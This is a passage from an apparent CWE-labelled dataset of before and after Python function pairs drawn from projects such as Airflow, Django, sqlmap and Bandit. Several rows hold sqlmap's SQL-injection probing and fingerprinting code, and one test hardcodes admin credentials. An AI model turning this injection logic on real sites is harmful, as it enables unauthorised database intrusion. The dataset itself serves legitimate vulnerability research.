                                               ""choices"": [""global"", ""enable"", ""disable""]},
                                       ""cost"": {""required"": False, ""type"": ""int""},
                                       ""database-filter-out"": {""required"": False, ""type"": ""str"",
                                                               ""choices"": [""enable"", ""disable""]},
                                       ""dead-interval"": {""required"": False, ""type"": ""int""},
                                       ""hello-interval"": {""required"": False, ""type"": ""int""},
                                       ""hello-multiplier"": {""required"": False, ""type"": ""int""},
                                       ""interface"": {""required"": False, ""type"": ""str""},
                                       ""ip"": {""required"": False, ""type"": ""str""},
                                       ""md5-key"": {""required"": False, ""type"": ""str""},
                                       ""mtu"": {""required"": False, ""type"": ""int""},
                                       ""mtu-ignore"": {""required"": False, ""type"": ""str"",
                                                      ""choices"": [""enable"", ""disable""]},
                                       ""name"": {""required"": True, ""type"": ""str""},
                                       ""network-type"": {""required"": False, ""type"": ""str"",
                                                        ""choices"": [""broadcast"", ""non-broadcast"", ""point-to-point"",
                                                                    ""point-to-multipoint"", ""point-to-multipoint-non-broadcast""]},
                                       ""prefix-length"": {""required"": False, ""type"": ""int""},
                                       ""priority"": {""required"": False, ""type"": ""int""},
                                       ""resync-timeout"": {""required"": False, ""type"": ""int""},
                                       ""retransmit-interval"": {""required"": False, ""type"": ""int""},
                                       ""status"": {""required"": False, ""type"": ""str"",
                                                  ""choices"": [""disable"", ""enable""]},
                                       ""transmit-delay"": {""required"": False, ""type"": ""int""}
                                   }},
                ""passive-interface"": {""required"": False, ""type"": ""list"",
                                      ""options"": {
                                          ""name"": {""required"": True, ""type"": ""str""}
                                      }},
                ""redistribute"": {""required"": False, ""type"": ""list"",
                                 ""options"": {
                                     ""metric"": {""required"": False, ""type"": ""int""},
                                     ""metric-type"": {""required"": False, ""type"": ""str"",
                                                     ""choices"": [""1"", ""2""]},
                                     ""name"": {""required"": True, ""type"": ""str""},
                                     ""routemap"": {""required"": False, ""type"": ""str""},
                                     ""status"": {""required"": False, ""type"": ""str"",
                                                ""choices"": [""enable"", ""disable""]},
                                     ""tag"": {""required"": False, ""type"": ""int""}
                                 }},
                ""restart-mode"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""none"", ""lls"", ""graceful-restart""]},
                ""restart-period"": {""required"": False, ""type"": ""int""},
                ""rfc1583-compatible"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""enable"", ""disable""]},
                ""router-id"": {""required"": False, ""type"": ""str""},
                ""spf-timers"": {""required"": False, ""type"": ""str""},
                ""summary-address"": {""required"": False, ""type"": ""list"",
                                    ""options"": {
                                        ""advertise"": {""required"": False, ""type"": ""str"",
                                                      ""choices"": [""disable"", ""enable""]},
                                        ""id"": {""required"": True, ""type"": ""int""},
                                        ""prefix"": {""required"": False, ""type"": ""str""},
                                        ""tag"": {""required"": False, ""type"": ""int""}
                                    }}

            }
        }
    }

    module = AnsibleModule(argument_spec=fields,
                           supports_check_mode=False)
    try:
        from fortiosapi import FortiOSAPI
    except ImportError:
        module.fail_json(msg=""fortiosapi module is required"")

    global fos
    fos = FortiOSAPI()

    is_error, has_changed, result = fortios_router(module.params, fos)

    if not is_error:
        module.exit_json(changed=has_changed, meta=result)
    else:
        module.fail_json(msg=""Error in repo"", meta=result)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/system/providers/google/cloud/transfers/example_gdrive_to_local.py,0,"def create_temp_gcp_connection():
        conn = Connection(
            conn_id=CONNECTION_ID,
            conn_type=""google_cloud_platform"",
        )
        conn_extra_json = json.dumps(
            {
                ""scope"": ""https://www.googleapis.com/auth/drive,""
                ""https://www.googleapis.com/auth/cloud-platform""
            }
        )
        conn.set_extra(conn_extra_json)

        session = Session()
        if session.query(Connection).filter(Connection.conn_id == CONNECTION_ID).first():
            log.warning(""Connection %s already exists"", CONNECTION_ID)
            return None
        session.add(conn)
        session.commit()",CWE-Unknown,apache/airflow,59b32dc0a0bcdffd124b82d92428f334646cd8cd,"def create_temp_gcp_connection():
        conn = Connection(
            conn_id=CONNECTION_ID,
            conn_type=""google_cloud_platform"",
        )
        conn_extra_json = json.dumps(
            {
                ""scope"": ""https://www.googleapis.com/auth/drive,""
                ""https://www.googleapis.com/auth/cloud-platform""
            }
        )
        conn.set_extra(conn_extra_json)

        session: Session = Session()
        if session.query(Connection).filter(Connection.conn_id == CONNECTION_ID).first():
            log.warning(""Connection %s already exists"", CONNECTION_ID)
            return None
        session.add(conn)
        session.commit()"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_calendar_show_date_from_input(self):
        """"""
        The calendar shows the date from the input field for every locale
        supported by Django.
        """"""
        self.admin_login(username='super', password='secret', login_url='/')

        # Enter test data
        member = Member.objects.create(name='Bob', birthdate=datetime(1984, 5, 15), gender='M')

        # Get month name translations for every locale
        month_string = 'May'
        path = os.path.join(os.path.dirname(import_module('django.contrib.admin').__file__), 'locale')
        for language_code, language_name in settings.LANGUAGES:
            try:
                catalog = gettext.translation('djangojs', path, [language_code])
            except OSError:
                continue
            if month_string in catalog._catalog:
                month_name = catalog._catalog[month_string]
            else:
                month_name = month_string

            # Get the expected caption
            may_translation = month_name
            expected_caption = '{0:s} {1:d}'.format(may_translation.upper(), 1984)

            # Test with every locale
            with override_settings(LANGUAGE_CODE=language_code, USE_L10N=True):

                # Open a page that has a date picker widget
                url = reverse('admin:admin_widgets_member_change', args=(member.pk,))
                self.selenium.get(self.live_server_url + url)
                # Click on the calendar icon
                self.selenium.find_element_by_id('calendarlink0').click()
                # Make sure that the right month and year are displayed
                self.wait_for_text('#calendarin0 caption', expected_caption)",CWE-259,django/django,7785e03ba89aafbd949191f126361fb9103cb980,"def test_calendar_show_date_from_input(self):
        """"""
        The calendar shows the date from the input field for every locale
        supported by Django.
        """"""
        self.admin_login(username='super', password='secret', login_url='/')

        # Enter test data
        member = Member.objects.create(name='Bob', birthdate=datetime(1984, 5, 15), gender='M')

        # Get month name translations for every locale
        month_string = 'May'
        path = os.path.join(os.path.dirname(import_module('django.contrib.admin').__file__), 'locale')
        for language_code, language_name in settings.LANGUAGES:
            try:
                catalog = gettext.translation('djangojs', path, [language_code])
            except IOError:
                continue
            if month_string in catalog._catalog:
                month_name = catalog._catalog[month_string]
            else:
                month_name = month_string

            # Get the expected caption
            may_translation = month_name
            expected_caption = '{0:s} {1:d}'.format(may_translation.upper(), 1984)

            # Test with every locale
            with override_settings(LANGUAGE_CODE=language_code, USE_L10N=True):

                # Open a page that has a date picker widget
                url = reverse('admin:admin_widgets_member_change', args=(member.pk,))
                self.selenium.get(self.live_server_url + url)
                # Click on the calendar icon
                self.selenium.find_element_by_id('calendarlink0').click()
                # Make sure that the right month and year are displayed
                self.wait_for_text('#calendarin0 caption', expected_caption)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/server/auth/sqlalchemy_store.py,0,"def create_user(self, username: str, password: str, is_admin: bool = False) -> User:
        _validate_username(username)
        pwhash = generate_password_hash(password)
        with self.ManagedSessionMaker() as session:
            try:
                user = SqlUser(username=username, password_hash=pwhash, is_admin=is_admin)
                session.add(user)
                session.flush()
                return user.to_mlflow_entity()
            except IntegrityError as e:
                raise MlflowException(
                    f""User (username={username}) already exists. Error: {e}"",
                    RESOURCE_ALREADY_EXISTS,
                ) from e",,mlflow/mlflow,0235cc8799e7bb22b03cbe8bb5a73a8f50e0bb02,"def create_user(self, username: str, password: str, is_admin: bool = False) -> User:
        _validate_username(username)
        pwhash = generate_password_hash(password)
        with self.ManagedSessionMaker() as session:
            try:
                user = SqlUser(username=username, password_hash=pwhash, is_admin=is_admin)
                session.add(user)
                session.flush()
                return user.to_mlflow_entity()
            except IntegrityError as e:
                raise MlflowException(
                    f""User (username={username}) already exists. Error: {e}"",
                    RESOURCE_ALREADY_EXISTS,
                )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None):
    start = time.time()
    value = None
    count = 0

    value = _goDns(payload, expression)

    if value:
        return value

    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))

    if not (timeBasedCompare and kb.dnsTest):
        if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(""(COUNT|LTRIM)\("", expression, re.I) and not timeBasedCompare:
            if field:
                nulledCastedField = agent.nullAndCastField(field)
                injExpression = expression.replace(field, nulledCastedField, 1)
            else:
                injExpression = expression
            length = queryOutputLength(injExpression, payload)
        else:
            length = None

        kb.inferenceMode = True
        count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
        kb.inferenceMode = False

        if not kb.bruteMode:
            debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
            logger.debug(debugMsg)

    return value",,sqlmapproject/sqlmap,329047fc125acfc88875b67fd2e0c75427aa0512,"def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None):
    start = time.time()
    value = None
    count = 0

    value = _goDns(payload, expression)

    if value:
        return value

    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))

    if not (timeBasedCompare and kb.dnsTest):
        if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(""(COUNT|LTRIM)\("", expression, re.I) and not timeBasedCompare:
            length = queryOutputLength(expression, payload)
        else:
            length = None

        kb.inferenceMode = True
        count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
        kb.inferenceMode = False

        if not kb.bruteMode:
            debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
            logger.debug(debugMsg)

    return value"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mssqlserver/fingerprint.py,0,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES):
            setDbms(""%s %s"" % (DBMS.MSSQL, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = ""testing %s"" % DBMS.MSSQL
        logger.info(infoMsg)

        # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
        # work connecting directly to the Microsoft SQL Server database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression(""UNICODE(SQUARE(NULL)) IS NULL"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.MSSQL
            logger.info(infoMsg)

            for version, check in (
                (""2019"", ""CHARINDEX('15.0.',@@VERSION)>0""),
                (""Azure"", ""@@VERSION LIKE '%Azure%'""),
                (""2017"", ""TRIM(NULL) IS NULL""),
                (""2016"", ""ISJSON(NULL) IS NULL""),
                (""2014"", ""CHARINDEX('12.0.',@@VERSION)>0""),
                (""2012"", ""CONCAT(NULL,NULL)=CONCAT(NULL,NULL)""),
                (""2008"", ""SYSDATETIME()=SYSDATETIME()""),
                (""2005"", ""XACT_STATE()=XACT_STATE()""),
                (""2000"", ""HOST_NAME()=HOST_NAME()""),
            ):
                result = inject.checkBooleanExpression(check)

                if result:
                    Backend.setVersion(version)
                    break

            if Backend.getVersion():
                setDbms(""%s %s"" % (DBMS.MSSQL, Backend.getVersion()))
            else:
                setDbms(DBMS.MSSQL)

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.MSSQL
            logger.warning(warnMsg)

            return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES):
            setDbms(""%s %s"" % (DBMS.MSSQL, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = ""testing %s"" % DBMS.MSSQL
        logger.info(infoMsg)

        # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
        # work connecting directly to the Microsoft SQL Server database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression(""UNICODE(SQUARE(NULL)) IS NULL"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.MSSQL
            logger.info(infoMsg)

            for version, check in (
                (""2019"", ""CHARINDEX('15.0.',@@VERSION)>0""),
                (""Azure"", ""@@VERSION LIKE '%Azure%'""),
                (""2017"", ""TRIM(NULL) IS NULL""),
                (""2016"", ""ISJSON(NULL) IS NULL""),
                (""2014"", ""CHARINDEX('12.0.',@@VERSION)>0""),
                (""2012"", ""CONCAT(NULL,NULL)=CONCAT(NULL,NULL)""),
                (""2008"", ""SYSDATETIME()=SYSDATETIME()""),
                (""2005"", ""XACT_STATE()=XACT_STATE()""),
                (""2000"", ""HOST_NAME()=HOST_NAME()""),
            ):
                result = inject.checkBooleanExpression(check)

                if result:
                    Backend.setVersion(version)
                    break

            if Backend.getVersion():
                setDbms(""%s %s"" % (DBMS.MSSQL, Backend.getVersion()))
            else:
                setDbms(DBMS.MSSQL)

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.MSSQL
            logger.warn(warnMsg)

            return False"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/injection_shell.py,0,"def subprocess_popen_with_shell_equals_true(context, config):
    if config and context.call_function_name_qual in config['subprocess']:
        if context.check_call_arg_value('shell', 'True'):
            return bandit.Issue(
                severity=bandit.HIGH,
                confidence=bandit.HIGH,
                text=""subprocess call with shell=True identified, security ""
                     ""issue.  %s"" % context.call_args_string
            )",UNKNOWN,PyCQA/bandit,6e2e387e4fb5a91867e8c7ea46ed8c7357df253a,"def subprocess_popen_with_shell_equals_true(context, config):
    if config and context.call_function_name_qual in config['subprocess']:
        if context.check_call_arg_value('shell', 'True'):
            return(bandit.ERROR, 'subprocess call with shell=True '
                   'identified, security issue.  %s' %
                   context.call_args_string)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/transport.py,0,"def get_exception(self):
        """"""
        Return any exception that happened during the last server request.
        This can be used to fetch more specific error information after using
        calls like `start_client`.  The exception (if any) is cleared after
        this call.

        :return:
            an exception, or ``None`` if there is no stored exception.

        .. versionadded:: 1.1
        """"""
        self.lock.acquire()
        try:
            e = self.saved_exception
            self.saved_exception = None
            return e
        finally:
            self.lock.release()",,paramiko/paramiko,611d52b187b3db516e25461aa7e151a28f94b18e,"def get_exception(self):
        """"""
        Return any exception that happened during the last server request.
        This can be used to fetch more specific error information after using
        calls like `start_client`.  The exception (if any) is cleared after
        this call.

        :return:
            an exception, or ``None`` if there is no stored exception.

        .. versionadded:: 1.1
        """"""
        self.lock.acquire()
        try:
            e = self.saved_exception
            self.saved_exception = None
            return e
        finally:
            self.lock.release()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = ""%s%s%s"".lower() % (kb.chars.start, randQuery, kb.chars.stop)
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or """")

        if content and phrase in content:
            validPayload = payload
            kb.unionDuplicates = content.count(phrase) > 1
            vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = ""%s%s%s"".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = ""%s%s"".lower() % (page or """", listToStrValue(headers.headers if headers else None) or """")

                if not all(_ in content for _ in (phrase, phrase2)):
                    vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)

            unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()

            if unionErrorCase and count > 1:
                warnMsg = ""combined UNION/error-based SQL injection case found on ""
                warnMsg += ""column %d. sqlmap will try to find another "" % (position + 1)
                warnMsg += ""column with better characteristics""
                logger.warn(warnMsg)
            else:
                break

    return validPayload, vector",,andresriancho/w3af,e2a60b302fcf558cb358492cd92d3543bd77581b,"def __unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    # For each column of the table (# of NULL) perform a request using
    # the UNION ALL SELECT statement to test it the target url is
    # affected by an exploitable inband SQL injection vulnerability
    for position in positions:
        # Prepare expression with delimiters
        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
        phrase = ""%s%s%s"".lower() % (kb.chars.start, randQuery, kb.chars.stop)
        randQueryProcessed = agent.concatQuery(""\'%s\'"" % randQuery)
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)

        # Forge the inband SQL injection request
        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
        content = ""%s%s"".lower() % (removeReflectiveValues(page, payload) or """", \
            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
            payload, True) or """")

        if content and phrase in content:
            validPayload = payload
            vector = (position, count, comment, prefix, suffix, kb.uChar, where, content.count(phrase) > 1)

            if where == PAYLOAD.WHERE.ORIGINAL:
                # Prepare expression with delimiters
                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
                phrase2 = ""%s%s%s"".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
                randQueryProcessed2 = agent.concatQuery(""\'%s\'"" % randQuery2)
                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)

                # Confirm that it is a full inband SQL injection
                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                # Perform the request
                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                content = ""%s%s"".lower() % (page or """", listToStrValue(headers.headers if headers else None) or """")

                if not all(_ in content for _ in (phrase, phrase2)):
                    vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)

            unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()

            if unionErrorCase and count > 1:
                warnMsg = ""combined UNION/error-based SQL injection case found on ""
                warnMsg += ""column %d. sqlmap will try to find another "" % (position + 1)
                warnMsg += ""column with better characteristics""
                logger.warn(warnMsg)
            else:
                break

    return validPayload, vector"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/contrib/operators/bigquery_operator.py,0,"def __init__(self,
                 bql=None,
                 sql=None,
                 destination_dataset_table=False,
                 write_disposition='WRITE_EMPTY',
                 allow_large_results=False,
                 flatten_results=None,
                 bigquery_conn_id='bigquery_default',
                 delegate_to=None,
                 udf_config=False,
                 use_legacy_sql=True,
                 maximum_billing_tier=None,
                 maximum_bytes_billed=None,
                 create_disposition='CREATE_IF_NEEDED',
                 schema_update_options=(),
                 query_params=None,
                 labels=None,
                 priority='INTERACTIVE',
                 time_partitioning={},
                 *args,
                 **kwargs):
        super(BigQueryOperator, self).__init__(*args, **kwargs)
        self.bql = bql
        self.sql = sql if sql else bql
        self.destination_dataset_table = destination_dataset_table
        self.write_disposition = write_disposition
        self.create_disposition = create_disposition
        self.allow_large_results = allow_large_results
        self.flatten_results = flatten_results
        self.bigquery_conn_id = bigquery_conn_id
        self.delegate_to = delegate_to
        self.udf_config = udf_config
        self.use_legacy_sql = use_legacy_sql
        self.maximum_billing_tier = maximum_billing_tier
        self.maximum_bytes_billed = maximum_bytes_billed
        self.schema_update_options = schema_update_options
        self.query_params = query_params
        self.labels = labels
        self.bq_cursor = None
        self.priority = priority
        self.time_partitioning = time_partitioning

        # TODO remove `bql` in Airflow 2.0
        if self.bql:
            import warnings
            warnings.warn('Deprecated parameter `bql` used in Task id: {}. '
                          'Use `sql` parameter instead to pass the sql to be '
                          'executed. `bql` parameter is deprecated and '
                          'will be removed in a future version of '
                          'Airflow.'.format(self.task_id),
                          category=DeprecationWarning)

        if self.sql is None:
            raise TypeError('{} missing 1 required positional '
                            'argument: `sql`'.format(self.task_id))",CWE-Unknown,apache/airflow,98a787485ba311dafad13aab74f0d5f11d6c7856,"def __init__(self,
                 bql=None,
                 sql=None,
                 destination_dataset_table=False,
                 write_disposition='WRITE_EMPTY',
                 allow_large_results=False,
                 flatten_results=False,
                 bigquery_conn_id='bigquery_default',
                 delegate_to=None,
                 udf_config=False,
                 use_legacy_sql=True,
                 maximum_billing_tier=None,
                 maximum_bytes_billed=None,
                 create_disposition='CREATE_IF_NEEDED',
                 schema_update_options=(),
                 query_params=None,
                 labels=None,
                 priority='INTERACTIVE',
                 time_partitioning={},
                 *args,
                 **kwargs):
        super(BigQueryOperator, self).__init__(*args, **kwargs)
        self.bql = bql
        self.sql = sql if sql else bql
        self.destination_dataset_table = destination_dataset_table
        self.write_disposition = write_disposition
        self.create_disposition = create_disposition
        self.allow_large_results = allow_large_results
        self.flatten_results = flatten_results
        self.bigquery_conn_id = bigquery_conn_id
        self.delegate_to = delegate_to
        self.udf_config = udf_config
        self.use_legacy_sql = use_legacy_sql
        self.maximum_billing_tier = maximum_billing_tier
        self.maximum_bytes_billed = maximum_bytes_billed
        self.schema_update_options = schema_update_options
        self.query_params = query_params
        self.labels = labels
        self.bq_cursor = None
        self.priority = priority
        self.time_partitioning = time_partitioning

        # TODO remove `bql` in Airflow 2.0
        if self.bql:
            import warnings
            warnings.warn('Deprecated parameter `bql` used in Task id: {}. '
                          'Use `sql` parameter instead to pass the sql to be '
                          'executed. `bql` parameter is deprecated and '
                          'will be removed in a future version of '
                          'Airflow.'.format(self.task_id),
                          category=DeprecationWarning)

        if self.sql is None:
            raise TypeError('{} missing 1 required positional '
                            'argument: `sql`'.format(self.task_id))"
,UNKNOWN,UNKNOWN,django/db/models/base.py,1,"def save_base(self, raw=False, force_insert=False,
                  force_update=False, using=None, update_fields=None):
        """"""
        Handle the parts of saving which should be done only once per save,
        yet need to be done in raw saves, too. This includes some sanity
        checks and signal sending.

        The 'raw' argument is telling save_base not to save any parent
        models and not to do any changes to the values before save. This
        is used by fixture loading.
        """"""
        using = using or router.db_for_write(self.__class__, instance=self)
        assert not (force_insert and (force_update or update_fields))
        assert update_fields is None or update_fields
        cls = origin = self.__class__
        # Skip proxies, but keep the origin as the proxy model.
        if cls._meta.proxy:
            cls = cls._meta.concrete_model
        meta = cls._meta
        if not meta.auto_created:
            pre_save.send(
                sender=origin, instance=self, raw=raw, using=using,
                update_fields=update_fields,
            )
        # A transaction isn't needed if one query is issued.
        if meta.parents:
            context_manager = transaction.atomic(using=using, savepoint=False)
        else:
            context_manager = transaction.mark_for_rollback_on_error(using=using)
        with context_manager:
            parent_inserted = False
            if not raw:
                parent_inserted = self._save_parents(cls, using, update_fields)
            updated = self._save_table(
                raw, cls, force_insert or parent_inserted,
                force_update, using, update_fields,
            )
        # Store the database on which the object was saved
        self._state.db = using
        # Once saved, this is no longer a to-be-added instance.
        self._state.adding = False

        # Signal that the save is complete
        if not meta.auto_created:
            post_save.send(
                sender=origin, instance=self, created=(not updated),
                update_fields=update_fields, raw=raw, using=using,
            )",CWE-703,django/django,bc7dd8490b882b2cefdc7faf431dc64c532b79c9,"def save_base(self, raw=False, force_insert=False,
                  force_update=False, using=None, update_fields=None):
        """"""
        Handle the parts of saving which should be done only once per save,
        yet need to be done in raw saves, too. This includes some sanity
        checks and signal sending.

        The 'raw' argument is telling save_base not to save any parent
        models and not to do any changes to the values before save. This
        is used by fixture loading.
        """"""
        using = using or router.db_for_write(self.__class__, instance=self)
        assert not (force_insert and (force_update or update_fields))
        assert update_fields is None or update_fields
        cls = origin = self.__class__
        # Skip proxies, but keep the origin as the proxy model.
        if cls._meta.proxy:
            cls = cls._meta.concrete_model
        meta = cls._meta
        if not meta.auto_created:
            pre_save.send(
                sender=origin, instance=self, raw=raw, using=using,
                update_fields=update_fields,
            )
        with transaction.atomic(using=using, savepoint=False):
            parent_inserted = False
            if not raw:
                parent_inserted = self._save_parents(cls, using, update_fields)
            updated = self._save_table(
                raw, cls, force_insert or parent_inserted,
                force_update, using, update_fields,
            )
        # Store the database on which the object was saved
        self._state.db = using
        # Once saved, this is no longer a to-be-added instance.
        self._state.adding = False

        # Signal that the save is complete
        if not meta.auto_created:
            post_save.send(
                sender=origin, instance=self, created=(not updated),
                update_fields=update_fields, raw=raw, using=using,
            )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/target.py,0,"def _setRequestParams():
    """"""
    Check and set the parameters and perform checks on 'data' option for
    HTTP method POST.
    """"""

    if conf.direct:
        conf.parameters[None] = ""direct connection""
        return

    hintNames = []
    testableParameters = False

    # Perform checks on GET parameters
    if conf.parameters.get(PLACE.GET):
        parameters = conf.parameters[PLACE.GET]
        paramDict = paramToDict(PLACE.GET, parameters)

        if paramDict:
            conf.paramDict[PLACE.GET] = paramDict
            testableParameters = True

    # Perform checks on POST parameters
    if conf.method == HTTPMETHOD.POST and conf.data is None:
        logger.warn(""detected empty POST body"")
        conf.data = """"

    if conf.data is not None:
        conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method

        def process(match, repl):
            retVal = match.group(0)

            if not (conf.testParameter and match.group(""name"") not in conf.testParameter):
                retVal = repl
                while True:
                    _ = re.search(r""\\g<([^>]+)>"", retVal)
                    if _:
                        retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                    else:
                        break
                if kb.customInjectionMark in retVal:
                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group(""name"")))
            return retVal

        if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
            message = ""custom injection marker ('%s') found in option "" % kb.customInjectionMark
            message += ""'--data'. Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            else:
                kb.processUserMarks = choice == 'Y'

                if kb.processUserMarks:
                    kb.testOnlyCustom = True

        if re.search(JSON_RECOGNITION_REGEX, conf.data):
            message = ""JSON data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*"".+?)""(?<!\\"")', functools.partial(process, repl=r'\g<1>%s""' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    conf.data = re.sub(r'(""(?P<name>[^""]+)""\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
                    match = re.search(r'(?P<name>[^""]+)""\s*:\s*\[([^\]]+)\]', conf.data)
                    if match and not (conf.testParameter and match.group(""name"") not in conf.testParameter):
                        _ = match.group(2)
                        _ = re.sub(r'(""[^""]+)""', r'\g<1>%s""' % kb.customInjectionMark, _)
                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                        conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))

                kb.postHint = POST_HINT.JSON

        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
            message = ""JSON-like data found in %s data. "" % conf.method
            message += ""Do you want to process it? [Y/n/q] ""
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
